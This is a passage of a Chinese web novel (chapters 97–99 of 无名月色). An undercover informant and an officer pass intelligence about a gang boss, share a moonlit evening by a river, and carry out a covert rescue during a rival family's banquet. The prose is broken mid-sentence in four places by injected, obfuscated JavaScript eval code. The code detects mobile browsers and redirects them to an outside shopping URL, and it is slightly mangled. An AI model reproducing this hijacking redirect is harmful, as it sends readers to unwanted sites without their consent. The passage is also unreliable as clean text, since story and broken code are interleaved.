没看见，一切就都好像蒙着一层纱，她还可以自欺欺人地当做他不知道，心照不宣地认为这件事不存在。 可一旦被亲眼看见，她就仿佛是被赤裸裸地放在他的视线之下接受审判。 这未免也—— 太过狼狈。 容清洛回到卧室，给林裕发信息，说要回自己的住处，然后便收拾东西准备离开。 林裕已经习惯了容清洛时常会有的小脾气，他今天闹得有点过，容清洛因不好意思而想离开，这情有可原。 他打算派司机送容清洛。 但容清洛坚持要自己走。 恰好林裕和晏行铮此时也谈完事情，晏行铮准备回去。 林裕便让晏行铮顺路送一下容清洛。 有晏行铮相送，他更安心一些。 这恰中容清洛下怀。 她知道因为今天的事情，如果这么晚她执意要独自离开，林裕不会生气，但是肯定还是会派人送她。 林裕一向知道，她虽然在二人单独相处的时候会使小性子，但是在外人面前，不会驳他的面子。 那么派刚好在宅子里的晏行铮送她，就是很好的选择。 在林裕看来，晏行铮是他比较看重的手下，容清洛不会在晏行铮面前让他没脸。 如此，容清洛便顺理成章地可以和晏行铮见一面。 一切都很完美，除了她的那点难堪。 不过，容清洛有消息要告诉晏行铮，她自己的那点伤感和难堪，也只能先放在一边。 晏行铮开自己的车送容清洛。 车上没有林裕的监听设备，二人可以放心地交换情报。 容清洛率先开口：“林裕最近有点奇怪。” 晏行铮：“怎么奇怪？” 容清洛：“他有两次出门，没让司机送他，而是自己单独开车出去，并且回来的时候，心情都不算好。” “而且林裕是很爱整洁的人，但那两次回来之后，他的鞋底却都粘有松针和泥土。” “我怀疑他也许是去郊外了。” “今天……” 讲到这里，容清洛蓦地顿住。 也许是因为她停顿的时间比较长，一直手握方向盘注视着前方路况的晏行铮扭头想要看容清洛一眼。 但是二人是从林裕的宅子出发的，容清洛当然不会坐在副驾驶座，而是坐在后排。 晏行铮看不见容清洛，只好调整后视镜的位置。 在镜面中与容清洛出神的目光相撞，晏行铮轻声询问：“怎么了？” 他的声音放得很低，似乎是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578047|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕吓到她。 容清洛掩饰一笑：“没什么。” 她继续道：“今天不仅林裕的鞋底有松针和泥土，我还在林裕的衣服上闻到一种特殊的气味。” “那味道很淡，但是很特别，”容清洛这样形容道，“似乎是寺庙里烧香的香味，夹杂着檀香的气息。” 既然味道那么淡，她又为什么能闻到呢？ 容清洛不希望晏行铮问这个问题，所以不给他说话的机会，自顾自地往下说：“你觉得，他有没有可能去的是霜林山的寒松寺？” “宁川市这个季节既有松林又有寺庙、还要路不好走会沾上泥土的地方，我能想到的，只有那里。” “我记得林裕在霜林山那块有个别院。” “如果最近林裕去的都是那个别院，他会不会是藏了什么人在那里？” 晏行铮沉吟片刻，才道：“前段时间，林裕有个比较重要的手下被找到了明确的犯罪证据，可惜在被逮捕的过程中逃跑了。” “近期我们一直在找这个人，但一直没找到。” “根据推测，这个人近期很有可能会来找林裕寻求庇护。” “清洛，你怎么知道林裕在霜林山有一处别院？那座别院的具体位置在哪里？” 容清洛没有细说，只道：“林裕去礼佛的时候，带我去过那里。” 她拍拍晏行铮的座椅靠背，问道：“有纸笔吗？” 晏行铮单手翻出一个小笔记本与一只中性笔，递给后排的容清洛。 容清洛在纸上写下那处别院的大致地址，并在旁边画上一幅简易地图加以说明。 晏行铮将容清洛的笔迹细心收好：“也许那人就被林裕藏在你所提到的那处别院中。我会及时上报，后续有消息再告诉你。” “清洛，你如今做得越来越好，已经出师了。” 虽然被晏行铮表扬了，容清洛却兴致不高：“嗯。” 聊完正事，两个人都没再说话。 但距离抵达容清洛自己的住处，还有一段不近的车程。 容清洛打开车窗，看向外面，开始放空自己的思绪，让自己不去想晏行铮是否会因为看见她从林裕书房衣衫不整地出来而看低她、鄙薄她。 完成她应该做的事情就好。 其他的事情都不要想。 容清洛这样告诉自己。 车却忽然驶进路边的停车位。 容清洛回神：“怎么停在这里？” 晏行铮解开安全带：“等我一下，很快就好。” 97. 无名月色 容清洛百无聊赖地盯着路边偶尔经过的行人和车辆。 晏行铮刚刚无心的那一句“出师”，倒让她回忆起自己刚成为线人以后的事情。 那时候她借着赶通告的名义，瞒着林裕空出了几天时间。 晏行铮就利用那几天专门给她做了一个短期培训，也算是当过她几天的老师吧。 当时晏行铮曾经问过她是否有心仪之人。 听到这个问题的时候，容清洛着实有些发懵。 不知道是否是自己的心思被看穿，她怕晏行铮又赶她走，只好道：“我有一个白月光，是我高中同学。” 有关容清洛的过去，以及她还是季希时的生平，平叔都仔细调查过。 那些被搜集来的资料，最终汇集到晏行铮这里，他全部一页页地细致阅读，做到心中有数。 是以，晏行铮了然道：“是程景逸吗？” 容清洛惊讶于晏行铮对她的过去竟然这般了解。 只是，那过去对她而言，未免已经太过遥远。 她能抓住的只有现在。 然而，位于眼前的现在，她也不一定能抓住。 但是容清洛没有反驳，点头算是默认。 晏行铮语重心长：“清洛，你一定要把你的感情藏好，别让这里的任何人知道。” “一个卧底，可以用装出来的弱点与破绽来迷惑敌人，但是不应该，也不能，有真正的弱点。” “你明白吗？” 容清洛将这话牢牢记住。 晏行铮教她要学会控制自己的身体、情感和动心与否。 教她让别人看到的应该都是她想让对方看到的。 教她拥有魄力、决断、清醒的头脑与快速的反应能力。 教她培养在刀尖上行走却临危不乱的胆略与气概。 那次分别时，容清洛曾问道：“坚持不住的时候，我们会成为彼此的力量，对吗？” 她也会有迷茫。 而晏行铮能懂得这份茫然无措。 晏行铮：“你需要的时候，我会。” “也许，你也经历过懦弱不安、绝望痛苦、彷徨悲伤的时刻，但那些都已经成为过往。” “既然决定走到这条路上，就请坚定地走下去，不要害怕，不要退缩。” “我会成为你的后盾，我们可以成为彼此的力量。” 当时容清洛认真道：“我是一个很好的同伴，请相信我，我也会成为你的力量。” 所以，她应该相信他的，对吗？ 那些事情不会影响他对她的判断的，对吗？ 车门突然被打开，打断容清洛的思绪。 是晏行铮回来了。 他坐进驾驶座，指了指旁边的位置，对容清洛道：“你坐前面来。” 容清洛下车，从善如流地坐进副驾驶的座位。 晏行铮递给她一个纸袋。 容清洛惊讶：“你去买的东西，是给我的？” 晏行铮手握着方向盘，看向前方的路况：“车上除了你我，还有第三个人吗？” 车辆重新驶入夜色之中。 容清洛打开袋子，是一个精美的小蛋糕。 晏行铮：“马上就到元旦了，但是那天不一定能见到你，新年新气象，提前送给你。” 容清洛指出：“可距离新年，还有大半个月。” 晏行铮轻咳一声：“好吧，其实我只是随便找个给你买东西的理由而已。” “清洛，虽然我不知道你为什么不太开心，但还是希望你能有个好心情。” “听说，甜食能让人心情变好。” “刚刚找了一路，可惜现在时间有点晚了，一直没发现还开着的甜品店，好在这家还没关门。” 晏行铮虽然是男子，但他当卧底多年，天天在钢丝上行走，他做的都是牵一发而动全身的事情，所以他观察细致入微，是最心细如发的一个人。 容清洛其实很难在晏行铮面前掩饰什么。 况且以他们的处境，他们两人之间需要绝对的信任。 她宁愿他知道她的难堪。 她也不想让晏行铮对她的立场有任何怀疑。 容清洛坦诚道：“我只是……有点自我厌弃。” 晏行铮：“因为林裕？” 容清洛微微阖眼：“嗯。” 他这句话没有说完整。 未尽的半句话，是他留给她的体面。 他果然什么都知道。 车内静谧的氛围弥散。 汽车忽然调头，驶向离她家越来越远的方向。 容清洛奇怪：“不是送我回去吗？” 晏行铮：“让你回家一个人哭鼻子吗？” 容清洛本来没什么的，只是有点惆怅，现下却被晏行铮的这句打趣勾出些许心酸。 她嘟囔道：“还哭鼻子，我又不是小孩子……” 晏行铮轻笑一声，没再言语。 他驱车把容清洛带到九川江边。 两人站在江畔，在夜幕里凝望滚滚流水。 晏行铮的手搭在栏杆上，忽地开口。 寂静的深夜里，他的声音伴着江水的气息飘进容清洛耳中。 只听他道：“一个人哭泣，并不说明这个人就是弱者。” “每个人都需要发泄口，这是很正常的事情。” “我一个大男人，经常在夜里一个人来九川江边偷偷哭。” “这是我的秘密基地，现在分享给你。” “不开心的时候，可以晚上来这里看看。” “没有任何人会在这个时候打扰你。” “这里只有你和这滔滔江水。” “让难过与悲怆随着江水逝去，九川江会保佑你的。” 容清洛盯着水面沉默良久。 半晌，她蓦地扭头，看向晏行铮，问道：“晏先生，你真的会一个人来这里哭泣吗？” 晏行铮点头：“对啊。” 容清洛发觉，晏行铮好像一点都不觉得丢脸，反而心情很不错的样子。 她突然好像也没那么难过了。 他们都会有感到不堪的时刻。 他们好像没那么不同。 晏行铮见容清洛的唇角终于绽出一抹笑意，他这才真正放松下来。 他从口袋里摸出一小听啤酒：“喝点儿？” 容清洛惊讶：“你怎么随身带罐酒？” 晏行铮：“刚买的，觉得你可能会需要。” 他晃了晃啤酒罐：“喝吗？” 容清洛点头：“当然要喝，你都买了，我为什么不喝？” 晏行铮拉开拉环，把啤酒递给容清洛：“给。” 容清洛喝了一口，才发现晏行铮没有酒喝：“你只买了一罐吗？” “喝一罐是个意思，”晏行铮扬眉，不太具有威胁力地警告道，“我的车可不载酒鬼。” 容清洛：“我的意思是，你不喝吗？” 晏行铮：“咱俩都喝，让鬼开车送两个酒鬼回去吗？” “好吧。”容清洛乖乖地不再提问，一小口一小口地喝酒。 两人就这样趴在栏杆上盯着江面，一个人远眺，一个人喝酒。 今天白天下过大雨，所以今夜并无星月。 整片苍穹布满乌云。 江边狂风呼啸，把容清洛的满头长发吹得纷纷扬扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578048|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 容清洛从手腕上褪下皮筋，刚准备把酒放在地上，好腾出手来扎头发，她手中的皮筋便被晏行铮拿了过去。 容清洛看向一旁的晏行铮，伸手道：“还给我。” 晏行铮走到容清洛身后：“你喝你的酒，我给你扎。” 容清洛尚未反应过来，头发便被人一缕缕理整齐，用皮筋束好。 她张张嘴，不知道说什么，只好闷声喝酒，盯着江面发呆。 一罐酒快要见底时，忽地听晏行铮道：“快看。” 容清洛顺着晏行铮抬起的手仰望天幕。 乌云正在一点点被风吹散。 那轮云层之上的皎洁圆月，随着容清洛小心翼翼的呼吸，渐渐露出完整的模样。 皓月当空，万丈清辉洒下。 九川江阔大的水面被点亮的瞬间，容清洛的心田间仿佛也被这月华所沐泽。 容清洛：“所以……你知道今天有满月，对吗？” “晏行铮，你是专门带我来看月亮的。” 晏行铮：“今天是农历十六，带你来碰碰运气。” “看来，我们运气不错。” “老天站在你我这边。” 这句话好似一语双关，无声地抚慰着容清洛心中的迷惘与不安，焦虑与彷徨。 容清洛曾经见过晏行铮教训底下那些作威作福欺负普通人的手下。 他出手非常狠。 短短几年能在林裕手下坐到如今位置，晏行铮靠的是实力和那股狠劲儿。 可她第一次发现，原来晏行铮也是一个很温柔的人。 他在用他的方式，温柔地，温和地，安慰她，鼓励她，想让她振作。 容清洛不想辜负他的这份心意，回应道：“是，老天站在你我这边。” 晏行铮指着天边的月亮，问她：“你觉得，月亮美吗？” 容清洛由衷赞叹：“好美。” 晏行铮：“那你喜欢月亮吗？” 容清洛的心蓦地收紧。 她的目光飞快地扫过晏行铮的面庞，发现他并没有在看她，而是看着远方的天幕。 心中划过隐隐的失落，但开口时也大胆许多。 容清洛道：“月亮清冷，优雅，皎洁，神秘。” “我喜欢月亮。” 晏行铮：“可是月亮，也并不是无瑕的。” “月亮，其实，也有瑕疵。” “你看见那一轮月盘之中的斑驳了吗？” “高贵如月亮，也有纤尘难掩。” “可那又怎样呢？” “世人照样喜爱这无边月色。” “爱她，敬她，为她作诗，为她沉沦。” 这些话让容清洛的心间泛起涟漪。 晏行铮扭头，面向容清洛，认真地一字一句道：“这点瑕疵，根本无损于月色之美。” “如果将来有哪个眼盲心瞎的人告诉你，不喜欢月亮是因为月亮有瑕疵，你告诉我，我替你揍他。” “反正在我心里，无论月阴、月晴、月圆、月缺，月亮，始终都是让人心向往之的月亮。” 晏行铮说到这里，变戏法似的从兜里又拿出一罐啤酒。 容清洛挑眉：“晏行铮你居然藏酒。” 晏行铮好笑道：“我不喝，这是留给你的。” 这清浅的笑意在月色之下更衬出他眉目如画，俊逸非凡。 容清洛忍住自己想要抬手抚上他眉眼的冲动。 晏行铮抬起手中酒，轻碰容清洛手中的酒罐，轻声道：“但在这之前，我想和你碰个杯。” “敬，这有瑕疵的月亮。” “敬，这不完满的人生。” 98. 无名月色 容清洛给出的林裕别院地址十分详细。 晏行铮很快便将这一情报传递给平叔。 警方在经过一番探查之后，发现林裕的那个手下果真藏匿于霜林山中，于是半夜行动，不声不响地摸进别院之内，以迅雷不及掩耳之势将毫无防备的那人控制住。 不过，此人虽然跟着林裕的时间还算长久，知道林裕所掌管产业的诸多信息，奈何他接触不到林裕暗线最核心的产业，因此其所吐露出来的信息层级最多只到中层，审问再多遍也是徒劳。 平叔在接头时，将这些情况如实告知晏行铮。 闻言，晏行铮不免失望，神色十分凝重：“看来，林裕的疑心远比我们想象的要重得多。” “连跟在他身边这么久的老人都无法被他真正信任。” “想让他把那条暗线交给我，短时间内很难达成。” 平叔：“这件事情急不来，你一定要稳住，不能慌，万万不可叫林裕瞧出端倪。” “是。”晏行铮明白其中利害。 “还有另外一件事，萧家扣押了我们的一个人，”平叔一边道，一边拿出一份文件，“这是那个人的资料。” 晏行铮快速浏览完毕，将重要信息牢记在脑海中。 他只将夹在其中说明那人长相的那张照片取出，之后便把其余资料还给平叔。 晏行铮：“这些放我这儿不安全，还是你收好。” “好。”平叔询问道，“阿铮，你看最近有没有合适的机会实施营救？” 晏行铮思索片刻才道：“三天后萧家举办宴会，邀请了林裕。” “哦？”平叔奇道，“萧家几乎可以说是宁川市所有的地下势力中，唯一能与林家分庭抗礼的派系，两家虽说没到势同水火的地步，但中间也隔着楚河汉界，向来是不太来往的。怎么如今……” 晏行铮：“萧家这是被逼急了。最近由于咱们市其他的小股势力都被相继扫除，萧家不想大动干戈引起上面注意，便想要与林家和平商讨如何瓜分那些新空出来的地盘。” “这是萧家的意愿，”平叔，“那林裕是怎么想的？” “林裕表面上是同意了，所以才会准备赴宴，”晏行铮，“但实际上，以我对林裕的了解，他并不想与萧家平分那些地盘。” “我更倾向于，林裕会选择先下手为强，直接搞垮萧家，他不仅想要独占那些小地盘，还打算侵吞萧家的产业。” “否则他不会让我趁着此次宴会的时机在萧家找几个足以置萧家于死地的重要文件。” 平叔点头：“有道理。” 晏行铮：“这次宴会也是我们的机会。” “林裕正好派我去执行任务，我可以用这个任务作掩护，顺便去救人，这样即便被发现，到时候也有林裕在前面遮掩一二。” “这个方法可行。”平叔，“你万事小心，我会安排人在外面接应你。” *** 三天后，傍晚。 容清洛跟随林裕来到萧家别墅。 以前，林裕是不会让容清洛跟着一起出席这些宴会的，他担心引起吴家人的注意，不想徒增事端。 不过今时不同往日。 容清洛半年前因为一档综艺人气飙升，在网上打出破圈层的名气，具有很高的讨论度。 接着她趁热打铁，一鼓作气同时参加了好几个音综，并因此获得一些为网剧录制主题曲的机会。 其实容清洛之前参加选秀出道的那个团只是一个小糊团，所以林裕才会想让容清洛在团解散之后干脆退圈。 而随着互联网的发展以及移动终端的普及，网剧逐渐打开市场，容清洛的歌意外地因为几部爆款网剧而被众多年轻观众所熟知。 再加上她原本就是女团爱豆出身，能胜任很多唱跳舞台，由此在各个平台有了一些在活动上营业舞台的机会。 如今，她也有了自己固定的粉丝群体。 她的粉丝名叫洛河。 就这样，在没有林裕帮助的情况下，容清洛出乎意料地乘着内娱进入流量时代的东风吃到了第一波流量红利。 这是林裕以及容清洛本人都没有想到的。 容清洛签在林氏集团旗下的娱乐子公司，吸金能力很不错。 所以如今在林裕心中，容清洛是可以带出来社交的艺人，反正容清洛是他公司旗下的明星，和他走在一起，并没有什么不妥。 走进宴会厅，很快有一堆人围上来，聚拢在林裕身边献殷勤。 容清洛安静地挽着林裕的胳膊，在一旁充当美丽的花瓶。 林裕看见自己的大舅哥——吴家大公子吴则站在不远处。 他对其他人道声失陪，来到吴则面前。 吴则早就注意到林裕身边的容清洛。 容清洛乖巧地与吴则打个招呼，然后便退开到一旁，留给他们单独谈话的空间。 吴则看着容清洛的背影，揶揄林裕：“老弟，你还真是慧眼识英，给你们公司签了一个又养眼又吸金的摇钱树啊。” 林裕：“都是运气。我今天把她带出来，主要是让她见见世面，也看看有没有什么新的资源。” 吴则暗示道：“老弟，都说肥水不流外人田，何不让她先到我这里见见世面呢。” 林裕不想把容清洛拱手让给吴则，可他又不能让吴家人知道容清洛和他的关系，毕竟他还需要吴老的支持，只好把手下推出来替他挡刀：“大哥，我手下有个身手很好的年轻人，叫晏行铮，你有印象吗？” 吴则回忆起来，啧啧点头：“嗯，那小伙子打架够狠，做事情也很有些雷霆手段，是个不错的帮手，怎么了？” 林裕面不改色地开始胡诌：“其实，阿铮和这姑娘，他俩是一对儿。” “年轻人嘛，浓情蜜意。” “大哥，阿铮毕竟是我的得力干将，我留着阿铮还有用。” “他对容清洛又很宝贝，再三求我关照他的女朋友。” “我总不能把她关照到哥你的床上吧。”林裕露出一脸为难，劝解道，“大哥，阿铮为我效力，最后得到的利益不还是进了大哥你和岳丈大人的口袋？总归也算是为你卖命，就别抢兄弟的女人了，以免寒了下面人的心。” “更何况大哥你身边国色天香的女人那么多，何必盯着容清洛这种没情趣的不放呢。她呀，看着乖巧，实际上是个呛口辣椒，你是没看见阿铮被她教训的跟个小媳妇似的。” “我回头多给你介绍几个美人，保准个个都比她强百倍。” 吴则知道他爹吴老一直觊觎林裕手里真正暴利的那条暗线。 所以对于林裕的手下，他是要招揽，而绝不可招惹，更要避免结仇。 因一个女人起纷争，确实不太合适。 林裕给出的这个理由，虽说没有完全打消吴则对容清洛的想法，但是吴则还是收敛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578049|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一些，没有在今晚盯着容清洛不放。 两人说着便转移了话题，聊起其他事情。 *** 而另一边，厅内的觥筹交错让容清洛有些闷，她走出宴客厅，在廊下透气。 她的目光在庭院里搜寻着晏行铮的身影。 她知道，今晚晏行铮也在萧家。 傍晚下车时，她高跟鞋没踩稳。 大步走在前面的林裕并未注意到她意外出现的小状况。 当时容清洛以为自己就要那样跌倒，没想到在身子不受控制地歪向一旁的瞬间，身侧忽地有人伸出手，迅速且稳当地将她扶稳。 那人手臂坚实的力量感予以她支撑，待她稳住身形后又很有分寸感地很快收回手。 “谢……”容清洛不欲让林裕发现这茬，便小声回头道谢，却意外瞧见晏行铮不苟言笑的俊俏脸庞，“……谢？” 无声的雀跃在心中发酵，容清洛竭力压住自己下意识上扬的唇角，用口型问他：“你怎么在这儿？” 晏行铮穿着保镖制服，面上无甚表情。 面对容清洛的疑惑，他只是摇头，示意她别多问。 然而转过身后，他到底还是不放心，又回头低声提醒容清洛：“今晚宴会上机灵点儿，保护好自己。” 说罢，没等容清洛回应，晏行铮便混入一群保镖之中，不见了踪影。 而林裕发现容清洛一直没跟上他，此刻回头看向她：“愣在那里做什么？过来。” 容清洛不知道林裕是否知晓晏行铮藏在保镖之中，她不愿给晏行铮招惹麻烦，为防万一，便没在林裕面前提起此事。 此刻，从宴会上溜出，她心里隐隐有忧虑升起。 虽然不清楚晏行铮今晚要做什么，但是她盼望他一切顺利。 *** 宴会开始以后，前院高朋满座，灯火辉煌。 晏行铮避过众人耳目，根据早就拿到的萧宅地图，来到后院，潜入萧家大爷萧德茂的书房。 萧德茂人称德叔，是萧老退位之后萧家如今真正的话事人。 他的书房四周都有人看守。 不过对于晏行铮而言，这点人手不足为惧，不过片刻，便皆被他放倒。 晏行铮将昏迷的守卫挪到角落里。 进入德叔的书房后，他速度极快地把林裕要他找的资料一张一张用微型摄像机拍好相片，然后将他挪动过的地方全部复原。 离开书房，晏行铮犹如在黑夜里狩猎的猛兽，一击即中以后，毫不犹疑地奔向下一个目标。 他们在萧家也有内线，据悉，萧家把人关在后花园的地牢里。 晏行铮尾随给地牢看守送饭的佣人进入地牢。 这地牢规模不大，三名看守加上送饭的一人，总共才四个人，都被晏行铮悄无声息地从背后敲晕。 晏行铮在看守身上找到牢房门的钥匙，根据照片找到要救的人，松开那人身上的绳索，要将他放出来。 谁知那人见救他的人是晏行铮，竟然不愿意跟着他走，甚至恶语相向，意有所指：“呸，你们自导自演在搞什么鬼，一丘之貉，滚！” 晏行铮确信自己是第一次见这个人：“怎么，你认识我？” 那人浑身是伤，说话都虚弱地喘气，但仍然要讽刺晏行铮：“谁不知道你是林裕的走狗晏行铮？” “能劳驾铮哥亲自来试探我，我可真是荣幸。” 99. 无名月色 晏行铮：“我是专门来救你的，你跟我走，能活命，为什么不走？” 那人只道：“道不同不相为谋。” 晏行铮怎么都没想到这人是个死脑筋、硬脾气，鸡同鸭讲半天，此人就是不相信他。 再不走就来不及了，若是被人发现，一切就都前功尽弃。 晏行铮之所以被委派潜伏至林裕身边，其上峰的最终目标是要端掉宁川市所有的黑恶势力。 这不是晏行铮一个人能完成的，因此被派出的卧底其实并不只有晏行铮一人，也并不只局限在林氏一家。 只不过，由于大家分属不同的支线，为了保密性和安全性，彼此之间并不认识。 所以晏行铮完全可以理解，为什么他要救的这个人因为无法确认他的真实身份而怀疑他，并且不愿意跟他走。 此人只怕还有消息尚未传递出去，所以才格外谨慎，担心所托非人。 奈何救援行动需要争分夺秒，一刻也耽误不得，晏行铮不能继续和他解释下去，只好欺身而上：“抱歉，得罪了。” 那人连眼皮都没抬，仿佛没听见晏行铮说话一般，对他视若无睹。 晏行铮当机立断，迅速抬掌将人劈晕，背着人离开地牢。 当年萧老初初发达，因为喜欢苏州园林的精致典雅，在建造这座宅子时，专门花大价钱到苏州请行家来设计，这才有了如今这极具中式庭院风格特点的萧宅。 这宅子，在宁川市称得上是一景。 就其结构而言，可以分为前院和后院。 前院和后院之间有道围墙，墙上有许多花窗，并在不同的位置设有供人穿行的洞门。 后院之内，亭台楼阁错落有致，轩榭廊舫星罗棋布。 此时正值仲春时节，春暖花开，草长莺飞。 园中处处可见假山叠翠，曲水萦绕。 山石花木皆被摆成各式各样的奇景，当真是清静幽深，美不胜收。 然而，谁能想到，在这表面的祥和静谧之下，竟然危机四伏。 晏行铮猜测，萧家之所以在后院修建如此多的假山凉亭、人造景观，只怕就是为了遮掩那藏于院中的地牢。 若是没有这些曲径通幽，整个后院岂非一览无余？ 那萧宅的秘密只怕也就藏不住了。 不过如今这刚好为他所用，可以遮掩身形，为逃跑提供便利。 晏行铮常年习武，雄姿英发，身手矫健，背着一个瘦削的男子可以说是毫不费力，在静夜里行走也悄无声息。 他一路小心地避开各个岗哨，并未引起任何人的注意。 原本一切都还算顺利。 可百密一疏的是，背上这人身上有多处伤口，行走间在空气中弥散着浓重的血腥味，惊动了这萧家后院中不知被拘在何处的一只藏獒。 那藏獒虽被铁链拴着，威胁不到人，可它狂吠不止，很快便引来萧宅的保镖。 晏行铮按照一开始便制定好的路线加快速度向萧宅的侧门跑去。 平叔在那里安排的有接应的人。 然而此时，萧宅的保镖解开了藏獒的绳子，那藏獒循着血腥味儿开始在后院大肆追捕。 *** 容清洛站在前院宴客厅外的廊下，远远听见后院的喧嚷。 她心中实在担忧晏行铮的处境，索性趁着厅内众人因丝竹悦耳尚未察觉到这动静，在夜色掩映下悄然向后院走去。 为避免遇到萧宅的人，容清洛小心地沿着墙根行走。 来到前院和后院之间的围墙处，透过花窗，她瞧见内院中人影幢幢，不时便有一队保镖经过。 这些人手里拿着手电筒，在园中穿梭，四处检视，像是在寻找什么人。 当容清洛发现有些保镖手里还拿着枪时，她不由得皱起眉头。 这说明，晏行铮此时很危险。 容清洛握紧随身携带的手包。 包里，藏着一把手枪。 可是，究竟用还是不用，容清洛暂时无法决断。 她大脑飞速运转，分析着此时的情况。 这把枪是今晚临出发来萧宅赴宴之前，林裕忽然交给她的。 林裕的原话是：“拿着防身，安你的心，也安我的心。” 容清洛细细琢磨着“安心”二字。 林裕要安的，究竟是什么心呢？ 他好像预料到，今晚在萧宅，必定会发生些什么。 那么，他必然是事件的参与者。 至少，也是知情者。 难道晏行铮的行动是林裕授意的？ 如果是这样，林裕必定安排的有后手，那晏行铮的安全系数就提高许多。 可关键在于，任何计划，都不会是百分之百万无一失的。 因为这个世界上，有个不为人所控的因素，叫做意外。 容清洛想，此时后院里那只不知道从哪里突然冒出来惊动四方的藏獒，恐怕就是今晚的那个意外。 而她，要帮晏行铮消除这个意外。 常言道，尽人事，听天命。 今天，她便要为晏行铮多争取几分天意。 说起来，容清洛是会打枪的。 当初她刚到林裕身边时，一直被关在花洲岛。 后来在她的强烈要求下，林裕终于同意她出岛工作。 那会儿她刚签到林氏集团旗下的娱乐子公司。 由于林裕不让外人进花洲岛，容清洛不得不每天到公司跟着专门的老师学习声乐和舞蹈，以应对半年后的那场选秀综艺。 可正是因为她在那半年里频繁出入花洲岛，还没等她正式踏入娱乐圈，便先被林裕的仇家给盯上了。 那伙人以为，林裕对她金屋藏娇，那她必然是林裕的心尖肉。 于是当她晚上从公司收工以后，在回花洲岛的路上，她被那伙人绑架了。 那些人想要用她来威胁林裕。 然而林裕在电话里根本不理会他们的威胁，只说让他们随意处置她。 尽管林裕最后还是出现，把她从那伙人手里救下来，但是容清洛从那件事情中还是看出林裕骨子里的冷血和凉薄。 不论林裕平日里对她有着怎样的亲密之举和宠爱，在林裕心中，她只是一件还算喜爱的物品，有她很好，没她也不坏，所以出现危险时，她随时可以被舍弃。 这个认知，在她剖析林裕的任何行为时，都必须时刻被谨记。 所以今晚林裕主动让她带枪，绝对不会是出于对她安全的顾虑。 林裕必定有别的考量。 要知道，当初那次被绑架之后，是容清洛自己跟林裕说，想要学一点防身手段的。 只是当时，林裕上下将她打量一番，凉凉道：“女子天生在体质方面与男子相比就不占优势，你先天禀赋有限，再如何练也不过尔尔罢了，不如学会使用能以一敌百的工具，关键时刻方能救命。” 说罢，给了她一把枪。 那是容清洛第一次在现实生活里见到枪，她的震惊可想而知。 那也是她第一次对林裕背后的水深有了一定的认识。 林裕只怕不止是林氏集团的总裁这么简单。 花洲岛有专门的训练场，容清洛跟着教练学习和练习射击，虽说不能做到十发九中，但是好歹能瞄准，会开枪。 花洲岛出事以后，林裕给容清洛的那把枪因为放在花洲岛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578050|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然也因此没了。 容清洛有很长一段时间没有再摸枪。 然而她忽然在娱乐圈内有了流量，便有一些老板来请她到私人宴会唱歌。 对容清洛而言，进娱乐圈本来就是副业，复仇才是正经主业，所以这种邀约她一般都会明确拒绝。 没想到宁川市本地的一个老板和林裕本就有些旧怨嫌隙，又被在林氏旗下当艺人的她给拒绝了，便很生气，专门派打手把她绑去，要给她一个教训，还拿枪出来恐吓她。 那次，林裕是派晏行铮来救的她。 那个绑她的老板，自己的底子本身就不干净。 晏行铮带着手下把这个老板的老巢给端了，还牵扯出宁川市的另一个稍微大一点的黑恶势力，导致其被警方扫除。 容清洛知道晏行铮是借着她这个由头完成任务，但她心里其实很为晏行铮捏了一把汗，就怕他的此举会被林裕所怀疑。 晏行铮知道她的担忧以后，却说不用担心，他之所以不会被林裕怀疑成卧底，是因为他特意露出来了一些适当的人格破绽。 在林裕眼里，晏行铮具有男儿想要建功立业、干出一番成就的野心，所以他不近女色，只是跟在林裕身边，想要抓住各种机会被林裕看见，拥有向上的可能。 基于此种印象，晏行铮为讨好林裕而替林裕教训对手的行为，在林裕眼里便是合理的，顶多就是出手略微狠绝些，把对方拔出萝卜带出泥，一窝全端了。 不过年轻人嘛，血气方刚，年轻气盛，都很正常。 